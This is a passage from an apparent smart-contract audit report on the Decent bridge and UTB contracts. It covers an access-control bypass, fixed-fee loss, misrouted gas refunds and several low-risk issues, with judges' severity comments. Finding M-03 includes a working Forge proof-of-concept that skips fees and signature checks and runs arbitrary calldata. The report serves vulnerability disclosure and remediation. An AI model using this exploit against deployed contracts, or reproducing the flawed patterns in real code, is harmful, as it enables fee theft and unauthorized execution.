The Warden has demonstrated that it is possible to bypass Decent fees when performing bridging operations by directly interacting with the
DecentEthRouter
. This is indeed a valid concern and has been confirmed by the Sponsor.I believe a severity of medium is more appropriate given that uncaptured profit is solely affected.
Note: For full discussion, see here.
[M-03] Missing access control on UTB:receiveFromBridge allows UTB swaps to be executed without spending bridge fees while bypassing fee/swap instruction signature verification
Submitted by GhK3Ndf, also found by dutra, CDSecurity, Aymen0909, 0xAadi, Eeyore, DadeKuma, pkqs90, th13vn, Soliditors, bart1e, NentoR, Kow, 0xDING99YA, antonttc, haxatron, Matue, 0xdedo93, SovaSlava, peanuts, and MrPotatoMagic
Users can abuse the public UTB:receiveFromBridge
function’s lack of access control to directly call the internal UTB:_swapAndExecute
function.
This bypasses the UTB:retrieveAndCollectFees
modifier, which is used to collect fees from UTB users and validate fee and swap instructions via UTBFeeCollector:collectFees
in all other public swap/bridge functions (namely UTB:swapAndExecute
and UTB:bridgeAndExecute
).
This allows users to execute inter-chain swaps without spending bridge fees, using instructions that have not been signed by a validator key. Unsigned additional payloads can also be included in the swap instruction’s payload
element, which would then be executed by the UTBExecutor:execute
function.
Root Cause
Missing access control in UTB:receiveFromBridge
UTB:receiveFromBridge
is likely missing an access control modifier.
Note that the missing modifier may not be the [UTB:retrieveAndCollectFees
] modifier, as this modifier is understood to be intended for checking the UTB swap/bridge instructions on the source chain. Refer to the remedial suggestions for an alternate means of access control.
//File:src/UTB.sol
contract UTB is Owned {
...
function receiveFromBridge(
SwapInstructions memory postBridge,
address target,
address paymentOperator,
bytes memory payload,
address payable refund
) public { // missing retrieveAndCollect modifier
_swapAndExecute(postBridge, target, paymentOperator, payload, refund);
}
...
// if a feeCollector has been set, then this modifier validates the fee struct against the signer:
modifier retrieveAndCollectFees(
FeeStructure calldata fees,
bytes memory packedInfo,
bytes calldata signature
) {
if (address(feeCollector) != address(0)) {
uint value = 0;
if (fees.feeToken != address(0)) {
IERC20(fees.feeToken).transferFrom(
msg.sender,
address(this),
fees.feeAmount
);
IERC20(fees.feeToken).approve(
address(feeCollector),
fees.feeAmount
);
} else {
value = fees.feeAmount;
}
feeCollector.collectFees{value: value}(fees, packedInfo, signature);
}
_;
}
...
// swapAndExecute/bridgeAndExecute functions both validate fees/instructions signatures via retrieveAndCollectFees modifier
function swapAndExecute(
SwapAndExecuteInstructions calldata instructions,
FeeStructure calldata fees,
bytes calldata signature
)
public
payable
retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature)
{
_swapAndExecute(
instructions.swapInstructions,
instructions.target,
instructions.paymentOperator,
instructions.payload,
instructions.refund
);
}
function bridgeAndExecute(
BridgeInstructions calldata instructions,
FeeStructure calldata fees,
bytes calldata signature
)
public
payable
retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature)
returns (bytes memory)
{
(
uint256 amt2Bridge,
BridgeInstructions memory updatedInstructions
) = swapAndModifyPostBridge(instructions);
return callBridge(amt2Bridge, fees.bridgeFee, updatedInstructions);
}
...
// _swapAndExecute directly bypasses any signature/fee checks before the swap/payload is executed.
function _swapAndExecute(
SwapInstructions memory swapInstructions,
address target,
address paymentOperator,
bytes memory payload,
address payable refund
) private {
(address tokenOut, uint256 amountOut) = performSwap(swapInstructions);
if (tokenOut == address(0)) {
executor.execute{value: amountOut}(
target,
paymentOperator,
payload,
tokenOut,
amountOut,
refund
);
} else {
IERC20(tokenOut).approve(address(executor), amountOut);
executor.execute(
target,
paymentOperator,
payload,
tokenOut,
amountOut,
refund
);
}
}
}
//File:src/UTBFeeCollector.sol
function collectFees(
FeeStructure calldata fees,
bytes memory packedInfo,
bytes memory signature
) public payable onlyUtb {
bytes32 constructedHash = keccak256(
abi.encodePacked(BANNER, keccak256(packedInfo))
);
(bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
address recovered = ecrecover(constructedHash, v, r, s);
require(recovered == signer, "Wrong signature");
if (fees.feeToken != address(0)) {
IERC20(fees.feeToken).transferFrom(
utb,
address(this),
fees.feeAmount
);
}
}
//File:src/UTBExecutor.sol:
contract UTBExecutor is Owned {
...
function execute(
address target,
address paymentOperator,
bytes memory payload,
address token,
uint amount,
address payable refund
) public payable onlyOwner {
return
execute(target, paymentOperator, payload, token, amount, refund, 0);
}
...
function execute(
address target,
address paymentOperator,
bytes memory payload,
address token,
uint amount,
address payable refund,
uint extraNative
) public onlyOwner {
bool success;
if (token == address(0)) {
(success, ) = target.call{value: amount}(payload);
if (!success) {
(refund.call{value: amount}(""));
}
return;
}
uint initBalance = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(msg.sender, address(this), amount);
IERC20(token).approve(paymentOperator, amount);
if (extraNative > 0) {
(success, ) = target.call{value: extraNative}(payload);
if (!success) {
(refund.call{value: extraNative}(""));
}
} else {
(success, ) = target.call(payload);
}
uint remainingBalance = IERC20(token).balanceOf(address(this)) -
initBalance;
if (remainingBalance == 0) {
return;
}
IERC20(token).transfer(refund, remainingBalance);
}
}
Proof of Concept
The following Forge PoC test suite includes the following tests which demonstrates this issue, against a UTB/decent-bridge deployment on the Arbitrum and Polygon network chains, deployed via the provided helper functions in the repo test suite.
UTBReceiveFromBridge
Forge test contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {ERC20} from "solmate/tokens/ERC20.sol";
import {UTB, SwapInstructions, SwapAndExecuteInstructions, FeeStructure} from "../src/UTB.sol";
import {UTBExecutor} from "../src/UTBExecutor.sol";
import {UniSwapper} from "../src/swappers/UniSwapper.sol";
import {SwapParams} from "../src/swappers/SwapParams.sol";
import {XChainExactOutFixture} from "./helpers/XChainExactOutFixture.sol";
import {UTBCommonAssertions} from "../test/helpers/UTBCommonAssertions.sol";
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {IDcntEth} from "lib/decent-bridge/src/interfaces/IDcntEth.sol";
import {IDecentBridgeExecutor} from "lib/decent-bridge/src/interfaces/IDecentBridgeExecutor.sol";
import {IDecentEthRouter} from "lib/decent-bridge/src/interfaces/IDecentEthRouter.sol";
import {DcntEth} from "lib/decent-bridge/src/DcntEth.sol";
import {DecentBridgeExecutor} from "lib/decent-bridge/src/DecentBridgeExecutor.sol";
import {DecentEthRouter} from "lib/decent-bridge/src/DecentEthRouter.sol";
import {IUTB} from "../src/interfaces/IUTB.sol";
import {IUTBExecutor} from "../src/interfaces/IUTBExecutor.sol";
import {IUTBFeeCollector} from "../src/interfaces/IUTBFeeCollector.sol";
import {LzChainSetup} from "lib/forge-toolkit/src/LzChainSetup.sol";
import {console2} from "forge-std/Test.sol";
import {VmSafe} from "forge-std/Vm.sol";
contract UTBReceiveFromBridge is XChainExactOutFixture {
UTB src_utb;
UTB dst_utb;
UniSwapper src_swapper;
UniSwapper dst_swapper;
DecentEthRouter src_DecentEthRouter;
DecentEthRouter dst_DecentEthRouter;
IDcntEth src_IDcntEth;
address src_weth;
address src_usdc;
address dst_weth;
address dst_usdc;
uint256 slippage = 1;
uint256 FEE_AMOUNT = 0.01 ether;
CalledPOC ap;
function setUp() public {
src = arbitrum;
dst = polygon;
preSlippage = 2;
postSlippage = 3;
initialEthBalance = 1 ether;
initialUsdcBalance = 10e6;
MINT_GAS = 9e5;
setRuntime(ENV_FORGE_TEST);
loadAllChainInfo();
setupUsdcInfo();
setupWethHelperInfo();
loadAllUniRouterInfo();
setSkipFile(true);
vm.label(alice, "alice");
vm.label(bob, "bob");
src_weth = getWeth(src);
src_usdc = getUsdc(src);
dst_weth = getWeth(dst);
dst_usdc = getUsdc(dst);
feeAmount = FEE_AMOUNT;
_setupXChainUTBInfra();
_srcChainSetup();
// start all activities in src chain by default
switchTo(src);
ap = new CalledPOC();
}
function _setupXChainUTBInfra() internal {
(src_utb,,src_swapper,src_DecentEthRouter,,) = deployUTBAndItsComponents(src);
(dst_utb,,dst_swapper,dst_DecentEthRouter,,) = deployUTBAndItsComponents(dst);
wireUpXChainUTB(src, dst);
}
function _srcChainSetup() internal {
dealTo(src, alice, initialEthBalance);
mintUsdcTo(src, alice, initialUsdcBalance);
mintWethTo(src, alice, initialEthBalance);
cat = deployTheCat(src);
catUsdcPrice = cat.price();
catEthPrice = cat.ethPrice();
}
function _setupAndGetInstructionsFeesSignature() internal returns(
SwapAndExecuteInstructions memory,
FeeStructure memory,
bytes memory){
(SwapParams memory swapParams, uint expected) = getSwapParamsExactOut(
src,
src_weth,
src_usdc,
catUsdcPrice,
slippage
);
address payable refund = payable(alice);
SwapInstructions memory swapInstructions = SwapInstructions({
swapperId: src_swapper.getId(),
swapPayload: abi.encode(swapParams, address(src_utb), refund)
});
startImpersonating(alice);
ERC20(src_weth).approve(address(src_utb), swapParams.amountIn);
SwapAndExecuteInstructions
memory instructions = SwapAndExecuteInstructions({
swapInstructions: swapInstructions,
target: address(cat),
paymentOperator: address(cat),
refund: refund,
payload: abi.encodeCall(cat.mintWithUsdc, (bob))
});
( bytes memory signature,
FeeStructure memory fees
) = getFeesAndSignature(instructions);
stopImpersonating();
return (instructions, fees, signature);
}
/*
Testing correct UTB fee collection/signature validation during normal swap.
Adapted from UTBExactOutRoutesTest:testSwapWethToUsdcAndMintAnNft
*/
function testUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFees() public {
(SwapAndExecuteInstructions memory _instructions,
FeeStructure memory _fees,
bytes memory _signature) = _setupAndGetInstructionsFeesSignature();
startImpersonating(alice);
uint256 aliceETHBalanceBefore = address(alice).balance;
src_utb.swapAndExecute{value: feeAmount}(_instructions, _fees, _signature);
stopImpersonating();
// confirm alice has spent feeAmount
assertEq(address(alice).balance, aliceETHBalanceBefore - feeAmount);
// confirm bob got the NFT
assertEq(cat.balanceOf(bob), 1);
assertEq(ERC20(src_usdc).balanceOf(address(cat)), cat.price());
// checking fees
address feeCollector = address(feeCollectorLookup[src]);
if (feeToken == address(0)) {
// expect src feeCollector balance to be the feeAmount
assertEq(feeCollector.balance, feeAmount);
} else {
assertEq(ERC20(feeToken).balanceOf(feeCollector), feeAmount);
}
}
/*
Missing access control on UTB:receiveFromBridge allows UTB swaps to be executed while bypassing fee/swap instruction signature verification.
*/
function testUTBReceiveFromBridge_BypassFeesAndSignature() public {
/* getting the SwapAndExecuteInstructions struct for
swapping WETH to USDC and minting bob a VeryCoolCat NFT.
FeeStructure and signature are not necessary this time.
*/
(SwapAndExecuteInstructions memory _instructions,,) = _setupAndGetInstructionsFeesSignature();
// checking feeCollector to see if it has receievd any fees
address feeCollector = address(feeCollectorLookup[src]);
uint256 aliceETHBalanceBefore = address(alice).balance;
uint256 feeCollectorETHBalanceBefore = address(feeCollector).balance;
startImpersonating(alice);
/* use UTB:receiveFromBridge to directly call UTB:_swapAndExecute,
bypassing UTB:retrieveAndCollectFees modifier to send tx without fees or signature
with arbitrary additional payload.*/
src_utb.receiveFromBridge(
_instructions.swapInstructions,
_instructions.target,
_instructions.paymentOperator,
_instructions.payload,
_instructions.refund);
stopImpersonating();
// confirm alice has not spent any ETH/fees
assertEq(address(alice).balance, aliceETHBalanceBefore);
// confirm bob got the NFT
assertEq(cat.balanceOf(bob), 1);
assertEq(ERC20(src_usdc).balanceOf(address(cat)), cat.price());
if (feeToken == address(0)) {
// expect src feeCollector ETH balance not to change. In this case, it is 0
assertEq(feeCollector.balance, feeCollectorETHBalanceBefore);
assertEq(feeCollector.balance, 0);
} else {
assertEq(ERC20(feeToken).balanceOf(feeCollector), 0);
}
}
/* Showing arbitrary calldata being executed in SwapAndExecuteInstructions.payload
by using UTB:receiveFromBridge to send an unsigned swap for 0 amount with no fees*/
function testUTBReceiveFromBridge_ArbitraryCalldata() public {
// arg: SwapInstructions memory postBridge
(SwapParams memory swapParams, uint expected) = getSwapParamsExactOut(
src, // string memory chain
src_weth, // address tokenIn/tokenOut can be the same.
src_weth, // address tokenOut
0, // uitn256 amountOut can be zero
slippage // uint256 slippage
);
// arg: address payable refund
address payable refund = payable(alice);
// get SwapInstructions for SwapAndExecuteInstructions
SwapInstructions memory swapInstructions = SwapInstructions({
swapperId: src_swapper.getId(),
swapPayload: abi.encode(swapParams, address(src_utb), refund)
});
startImpersonating(alice);
//get SwapAndExecuteInstructions
SwapAndExecuteInstructions
memory _instructions = SwapAndExecuteInstructions({
swapInstructions: swapInstructions,
target:address(ap), // will be sending funds to alice on DST
paymentOperator: address(alice), // address UTBExecutor approves
refund: payable(address(alice)),
// make arbitrary call
payload: abi.encodeCall(ap.called, ())
});
// start recording for events
vm.recordLogs();
/* use UTB:receiveFromBridge to directly call UTB:_swapAndExecute,
bypassing UTB:retrieveAndCollectFees modifier to send tx without fees or signature
with arbitrary additional payload.*/
src_utb.receiveFromBridge(
_instructions.swapInstructions,
_instructions.target,
_instructions.paymentOperator,
_instructions.payload,
_instructions.refund);
stopImpersonating();
// capture emitted events
VmSafe.Log[] memory entries = vm.getRecordedLogs();
for (uint i = 0; i < entries.length; i++) {
if (entries[i].topics[0] == keccak256("Called(string)")) {
// assert that the event data contains the POC contract's string.
assertEq(abi.decode(entries[i].data, (string)),
"POC contract called");
}
}
}
}
// simple test contract to register an event if called() is called.
contract CalledPOC {
event Called(string);
constructor() payable {}
function called() public payable {
emit Called("POC contract called");
}
receive() external payable {}
fallback() external payable {}
}
Tests:
testUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFee
: A benign test function to ensure normal swaps with fees are working as intended, where Alice executes a signed inter-chain swap between WETH and USDC before minting a VeryCoolCat test NFT to Bob. Adapted from theUTBExactOutRoutesTest:testSwapWethToUsdcAndMintAnNft
test.testUTBReceiveFromBridge_BypassFeesAndSignature
: Demonstrating the issue by using the same swap with fee payload used in thetestUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFee
test, sent through theUTB:receiveFromBridge
function.testUTBReceiveFromBridge_ArbitraryCalldata
: Demonstrating the issue by causing arbitrary unsigned calldata to be executed via theUTB:receiveFromBridge
function. Note that a swap between the same WETH token, for amount 0, was used as the swap instructions for this test for clarity.
PoC instructions:
- Clone and set up the
audit repo
repo and.env
file as noted inTests
- Add the Forge test suite file,
UTBReceiveFromBridge.t.sol
, to the repo’s/test
directory. - Run the following command to validate all tests:
❯ forge test --match-test testUTBReceiveFromBridge_
[⠒] Compiling...No files changed, compilation skipped
[⠢] Compiling...
Running 3 tests for test/UTBReceiveFromBridge.t.sol:UTBReceiveFromBridge
[PASS] testUTBReceiveFromBridge_ArbitraryCalldata() (gas: 169476)
[PASS] testUTBReceiveFromBridge_BypassFeesAndSignature() (gas: 678548)
[PASS] testUTBReceiveFromBridge_SwapWethToUsdcAndMintAnNFTWithFees() (gas: 703800)
Test result: ok. 3 passed; 0 failed; 0 skipped; finished in 24.86s
Ran 1 test suites: 3 tests passed, 0 failed, 0 skipped (3 total tests)
Tools Used
Foundry, VSCode
Recommended Mitigation Steps
Primary Recommendation: Implement a robust access control modifier on the UTB:receiveFromBridge
function to restrict access to known bridge adaptor addresses
The UTB:receiveFromBridge
function appears to be intended to be called by the DecentBridgeAdapter:receiveFromBridge
and StargateBridgeAdapter:sgReceive
functions. These functions are protected by the BaseAdapter:onlyExecutor
modifier. No other calls to [UTB:receiveFromBridge
] are made in the audit codebase.
It therefore may be suitable to introduce a similar onlyBridgeAdapter
modifier to UTB
, using the already present UTB:bridgeAdapters
mapping to filter calls from only allowlisted bridge adaptors:
//File:src/UTB.sol
...
modifier onlyBridgeAdapter(){
require(bridgeAdapters[IBridgeAdapter(msg.sender).getId()] != address(0), "invalid bridge adaptor");
_;
}
function receiveFromBridge(
SwapInstructions memory postBridge,
address target,
address paymentOperator,
bytes memory payload,
address payable refund
) public onlyBridgeAdapter() {
_swapAndExecute(postBridge, target, paymentOperator, payload, refund);
}
...
Best practices: Review off-chain validator signature generation and update UTBFeeCollector:collectFees to allow for on-chain validation of signatures if UTB:feeCollector
has not been set.
Note that in the receiveFromBridge
modifier, fee and swap instructions are only validated if a feeCollector
is set in UTB
.
//File:src/UTB.col
modifier retrieveAndCollectFees(
FeeStructure calldata fees,
bytes memory packedInfo,
bytes calldata signature
) {
if (address(feeCollector) != address(0)) {
// if feeCollector has not been set, then signature verifcation does not occur
...
feeCollector.collectFees{value: value}(fees, packedInfo, signature);
}
_;
}
//File:src/UTBFeeCollector.sol
function collectFees(
FeeStructure calldata fees,
bytes memory packedInfo,
bytes memory signature
) public payable onlyUtb {
bytes32 constructedHash = keccak256(
abi.encodePacked(BANNER, keccak256(packedInfo))
);
(bytes32 r, bytes32 s, uint8 v) = splitSignature(signature); // validating both fees and swap instructions with signature from signer
address recovered = ecrecover(constructedHash, v, r, s);
require(recovered == signer, "Wrong signature");
...
}
It is not known whether this is an intended design choice, possibly stemming from the way any off-chain swap/bridge/fee instruction validator APIs generate signatures and the fact that one signature is expected for both fee content and swap/bridge instructions.
However, if swaps/bridge operations are intended to ever be called without incurring a fee via UTBFeeCollector, it is recommended for off-chain APIs to generate swap/bridge operation signatures with a fee amount of 0 in the case where fees are not intended to be collected for signed swap/bridge operations.
This would allow the feecollector.collectFees
line in UTB
to be placed outside of the if
check on the feeCollector
address.
Alternatively, it is recommended to separate signature verification of fee and swap/bridge instructions in both the API and the UTBFeeCollector contract, to allow their associated signatures to be validated independently.
This would ensure that signed swap/bridge instructions can be verified before execution, in the event that a UTBFeeCollector contract is not set for a particular chain/UTB deployment.
0xsomeone (Judge) decreased severity to Medium and commented:
This and its duplicate submissions have illustrated that the
UTB::receiveFromBridge
will behave identically to theUTB::swapAndExecute
function albeit with no fees applied or signatures validated, permitting users to bypass these measures.The maximum impact of this and relevant submissions is the loss of fees that are meant to be imposed when the
UTB::swapAndExecute
functionality is utilized. As a subset of submissions has recognized, the signature validation is also bypassed permitting arbitrary payloads to be executed which is also considered unwanted with an unquantifiable impact.Given that the
UTB::swapAndExecute
is one of the main features of the protocol, I consider a medium-risk severity for this exhibit to be more appropriate.This submission has been selected as the best due to going in great detail in relation to the submission, however, it should be noted that the recommended alleviation suffers from impersonation attacks (i.e. results from getter functions on the
msg.sender
can be spoofed) and amapping
based whitelist mechanism should be enforced instead.
[M-04] Potential loss of capital due to fixed fee calculations
Submitted by Soliditors, also found by Soliditors, windhustler (1, 2), gesha17, wangxx2026, NentoR, and peanuts
The StargateBridgeAdapter
relies on a fixed fee calculation (0.06% of the current Stargate fee), but as explained in the Stargate documentation, fees can be automatically adjusted to meet demand. (here)
This reward can be adjusted (StargateFeeLibraryV02.sol#L68) to “To incentivize users to conduct swaps that ‘refill’ native asset balances”.
A problem arises because the StargateBridgeAdapter
doesn’t account for this variable fee.
Then the callback function (triggered on the target chain) will receive a token amount greater than amountIn
. StargateBridgeAdapter.sol#L207
IERC20(swapParams.tokenIn).approve(utb, swapParams.amountIn);
As you can see, here the difference between the received amount StargateBridgeAdapter.sol#L188 and swapParams.amountIn
gets lost in the adapter.
Recommended Mitigation Steps
It’s recommended approve the amountLD
instead of the swapParams.amountIn
. This way, all token received during the callback will be transfered.
function sgReceive(
uint16, // _srcChainid
bytes memory, // _srcAddress
uint256, // _nonce
- address, // _token
- uint256, // amountLD
+ address _token,
+ uint256 amountLD,
bytes memory payload
) external override onlyExecutor {
(
SwapInstructions memory postBridge,
address target,
address paymentOperator,
bytes memory utbPayload,
address payable refund
) = abi.decode(
payload,
(SwapInstructions, address, address, bytes, address)
);
SwapParams memory swapParams = abi.decode(
postBridge.swapPayload,
(SwapParams)
);
- IERC20(swapParams.tokenIn).approve(utb, swapParams.amountIn);
+ IERC20(_token).approve(utb, amountLD); // _token == swapParams.tokenIn
+ swapParams.amountIn = amountLD // swapParams also needs to be updated to swap the correct amount
+ postBridge.swapPayload = abi.encode(swapParams);
IUTB(utb).receiveFromBridge(
postBridge,
target,
paymentOperator,
utbPayload,
refund
);
}
[M-05] DecentEthRouter.sol#_bridgeWithPayload() - Any refunded ETH (native token) will be refunded to the DecentBridgeAdapter, making them stuck
Submitted by deth, also found by NPCsCorp, MrPotatoMagic, Shaheen, ZdravkoHr, DadeKuma, gesha17, cu5t0mpeo, wangxx2026, zaevlad, Tendency, haxatron, bronze_pickaxe, nmirchev8, kutugu, Timepunk, and ptsanev
Impact
The current flow of swapping and bridging tokens using the DecentBridgeAdapter
looks like so:
bridgeAndExecute
inside UTB
is called, passing in the bridgeId
of the DecentBridgeAdapter
.
function bridgeAndExecute(
BridgeInstructions calldata instructions,
FeeStructure calldata fees,
bytes calldata signature
)
public
payable
retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature)
returns (bytes memory)
{
(
uint256 amt2Bridge,
BridgeInstructions memory updatedInstructions
) = swapAndModifyPostBridge(instructions);
return callBridge(amt2Bridge, fees.bridgeFee, updatedInstructions);
}
This then makes a call to callBridge
, which will call bridge
on the DecentBridgeAdapter
.
function callBridge(
uint256 amt2Bridge,
uint bridgeFee,
BridgeInstructions memory instructions
) private returns (bytes memory) {
bool native = approveAndCheckIfNative(instructions, amt2Bridge);
return
IBridgeAdapter(bridgeAdapters[instructions.bridgeId]).bridge{
value: bridgeFee + (native ? amt2Bridge : 0)
}(
amt2Bridge,
instructions.postBridge,
instructions.dstChainId,
instructions.target,
instructions.paymentOperator,
instructions.payload,
instructions.additionalArgs,
instructions.refund
);
}
DecentBridgeAdapter
then makes a call to the bridgeWithPayload
inside DecentEthRouter
.
function bridge(
uint256 amt2Bridge,
SwapInstructions memory postBridge,
uint256 dstChainId,
address target,
address paymentOperator,
bytes memory payload,
bytes calldata additionalArgs,
address payable refund
) public payable onlyUtb returns (bytes memory bridgePayload) {
require(
destinationBridgeAdapter[dstChainId] != address(0),
string.concat("dst chain address not set ")
);
uint64 dstGas = abi.decode(additionalArgs, (uint64));
bridgePayload = abi.encodeCall(
this.receiveFromBridge,
(postBridge, target, paymentOperator, payload, refund)
);
SwapParams memory swapParams = abi.decode(
postBridge.swapPayload,
(SwapParams)
);
if (!gasIsEth) {
IERC20(bridgeToken).transferFrom(
msg.sender,
address(this),
amt2Bridge
);
IERC20(bridgeToken).approve(address(router), amt2Bridge);
}
router.bridgeWithPayload{value: msg.value}(
lzIdLookup[dstChainId],
destinationBridgeAdapter[dstChainId],
swapParams.amountIn,
false,
dstGas,
bridgePayload
);
}
bridgeWithPayoad
calls the internal function _bridgeWithPayload
which starts the call to LZ and the bridging process itself.
function _bridgeWithPayload(
uint8 msgType,
uint16 _dstChainId,
address _toAddress,
uint _amount,
uint64 _dstGasForCall,
bytes memory additionalPayload,
bool deliverEth
) internal {
(
bytes32 destinationBridge,
bytes memory adapterParams,
bytes memory payload
) = _getCallParams(
msgType,
_toAddress,
_dstChainId,
_dstGasForCall,
deliverEth,
additionalPayload
);
ICommonOFT.LzCallParams memory callParams = ICommonOFT.LzCallParams({
refundAddress: payable(msg.sender), //@audit-issue all refunded tokens will be sent to the DecentBridgeAdapter
zroPaymentAddress: address(0x0),
adapterParams: adapterParams
});
uint gasValue;
if (gasCurrencyIsEth) {
weth.deposit{value: _amount}();
gasValue = msg.value - _amount;
} else {
weth.transferFrom(msg.sender, address(this), _amount);
gasValue = msg.value;
}
dcntEth.sendAndCall{value: gasValue}(
address(this), // from address that has dcntEth (so DecentRouter)
_dstChainId,
destinationBridge, // toAddress
_amount, // amount
payload, //payload (will have recipients address)
_dstGasForCall, // dstGasForCall
callParams // refundAddress, zroPaymentAddress, adapterParams
);
}
When we are using LZ, we have to specify LzCallParams
. The struct holds several things, but importantly it holds the refundAddress
ICommonOFT.LzCallParams memory callParams = ICommonOFT.LzCallParams({
refundAddress: payable(msg.sender),
zroPaymentAddress: address(0x0),
adapterParams: adapterParams
});
You’ll notice that the refundAddress
is specified as msg.sender
, in this case msg.sender
is the DecentBridgeAdapter
since that’s the address that made the call to DecentEthRouter
.
The refundAddress
is used for refunding any excess native tokens (in our case) that are sent to LZ in order to pay for the gas. The excess will be refunded on the source chain.
Basically if you send 0.5 ETH to LZ for gas and LZ only needs 0.1ETH, then 0.4ETH will be sent to the refundAddress
.
The problem here is, that the DecentBridgeAdapter
has no way of retrieving the funds, as it doesn’t implement any withdraw functionality whatsoever.
The protocol team even stated in the README.
Fund Accumulation: Other than the UTBFeeCollector, and DcntEth, the contracts are not intended to hold on to any funds or unnecessary approvals. Any native value or erc20 flowing through the protocol should either get delivered or refunded.
This bug clearly violates what the protocol team expects.
Proof of Concept
Example:
- Alice wants to swap and bridge some tokens from Ethereum to Arbitrum.
- For simplicity we’ll assume that LZ will need 0.1 ETH in order to pay for gas fees.
- Alice sends 0.5ETH instead.
- The flow of functions is executed and the extra 0.4 ETH is refunded from LZ to
refundAddress
, which is set tomsg.sender
, which isDecentBridgeAdapter
. - Alice loses here 0.4 ETH forever, as there is no way to withdraw and send the ETH from the
DecentBridgeAdapter
to Alice.
Recommended Mitigation Steps
The user specifies a refund
when calling bridgeAndExecute
inside UTB
. Use the address that the user specifies instead of msg.sender
.
0xsomeone (Judge) decreased severity to Medium and commented:
The Warden has clearly demonstrated that the refund configuration of the LayerZero relayed call payload is incorrect, causing native fund gas refunds to be sent to the wrong address. I appreciate that the Warden has referenced all code snippets necessary for the elaborate cross-chain call.
In reality, the flaw will result in relatively small amounts of the native asset to be lost. As a result, I believe a medium-risk category is better suited for this vulnerability.
ihtishamsudo (Warden) commented:
Thank you, Alex, for judging. I strongly believe that this is a high-severity issue. Although the individual loss per user may be minimal at present, it has the potential to accumulate over time, becoming a persistent problem and frozen funds forever. The existing refund mechanisms contribute to a lack of concern among users when sending gas. Consequently, when substantial gas amounts are sent, significant funds are at risk due to this vulnerability. I kindly request you to revisit and reconsider assigning a high severity rating to this issue. Appreciate your attention to this matter. Thank you again!
Hey @ihtisham-sudo, thank you for contributing to this discussion! There has been a long-standing discussion about capping gas-impacting findings at a QA (L) level among the C4 judge community but I have made an exception for this finding.
In this particular case, I consider it a medium-risk issue as it is likely those transactions would have a substantial over-allocation of gas due to their cross-chain nature. In any other circumstance, this would be considered a QA issue.
Low Risk and Non-Critical Issues
For this audit, 15 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by Kaysoft received the top score from the judge.
The following wardens also submitted reports: Shaheen, DadeKuma, bronze_pickaxe, nobody2018, Aamir, SBSecurity, Pechenite, slvDev, rouhsamad, 0xmystery, rjs, IceBear, ether_sky, and zxriptor.
[L-01] Prevent gas griefing attacks that’s possible with custom address.call
There are 3 instances of this:
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/UTBExecutor.sol#L52
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/UTBExecutor.sol#L65
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/UTBExecutor.sol#L70
Whenever the returned bytes data
is not required, using the .call()
function with non TRUSTED addresses opens the transaction to unnecessary gas griefing by return huge bytes data
.
Note that this:
(success, ) = target.call{value: amount}(payload);
Is the same thing as this:
(success, bytes data ) = target.call{value: amount}(payload);
So in both cases, the bytes data
is returned and copied to memory. Malicious target address
can return huge bytes data
to cause gas grief to the sender.
Impact:
Malicious target address
can gas grief the sender making the sender waste more gas than necessary.
Recommendation:
Short term: When returned data is not required, use a low level call:
bool status;
assembly {
status := call(gas(), receiver, amount, 0, 0, 0, 0)
}
require(status, "call failed");
Long Term: Consider using https://github.com/nomad-xyz/ExcessivelySafeCall
[L-02] No deadline
and address zero check for signatures
There is one instance of this
The collectFees(...)
function of the UTBFeeCollector.sol contract verifies signature without a deadline
.
Secondly there is no check to ensure the recovered
address is not zero address. This is because ecrecover can return address zero for invalid signature.
Lastly there is no use of nonce for the signatures:
function collectFees(
FeeStructure calldata fees,
bytes memory packedInfo,
bytes memory signature
) public payable onlyUtb {
bytes32 constructedHash = keccak256(
abi.encodePacked(BANNER, keccak256(packedInfo))
);
(bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
address recovered = ecrecover(constructedHash, v, r, s);
require(recovered == signer, "Wrong signature");
if (fees.feeToken != address(0)) {
IERC20(fees.feeToken).transferFrom(
utb,
address(this),
fees.feeAmount
);
}
}
Impact:
- Invalid signature can be used before the
signer
state variable is set since it will initially be zero. - Signature have no deadline and can be executed anytime
Recommendation:
Implement deadline
to signatures and also add address zero check on the recovered address.
require(blocktimestamp >= deadline, "signature expired");
require(recovered != address(0), "signature expired");
See EIP712: https://eips.ethereum.org/EIPS/eip-712
[L-03] Lack of deadline
protection for swap
There are 2 instances of these
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/swappers/UniSwapper.sol#L153
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/swappers/UniSwapper.sol#L130C13-L134C55
The swapExactIn
and swapExactOut
functions did not add deadline
protection on swap.
This can allow a miner delay your transaction from being mined until the swap transaction incurs maximum slippage that would allow the miner profit from the swap transaction through sandwich attack.
According to the Uniswap docs:
deadline: the unix time after which a swap will fail, to protect against long->pending transactions and wild swings in prices
During high price swings, a miner can delay the transaction as possible until it incurs maximum slippage since there is no unix timestamp supplied at which the swap transaction must revert.
File: Uniswapper.sol
function swapExactIn(
SwapParams memory swapParams, // SwapParams is a struct
address receiver
) public payable routerIsSet returns (uint256 amountOut) {
swapParams = _receiveAndWrapIfNeeded(swapParams);
IV3SwapRouter.ExactInputParams memory params = IV3SwapRouter
.ExactInputParams({
path: swapParams.path,
recipient: address(this),
amountIn: swapParams.amountIn,
amountOutMinimum: swapParams.amountOut
});//@audit no deadline specified.
IERC20(swapParams.tokenIn).approve(uniswap_router, swapParams.amountIn);
amountOut = IV3SwapRouter(uniswap_router).exactInput(params);
Impact:
Loss of asset through a combination of swap transaction delay and sandwich attack to profit from some slippage due to market swings.
Recommendation:
Allow users to pass a deadline
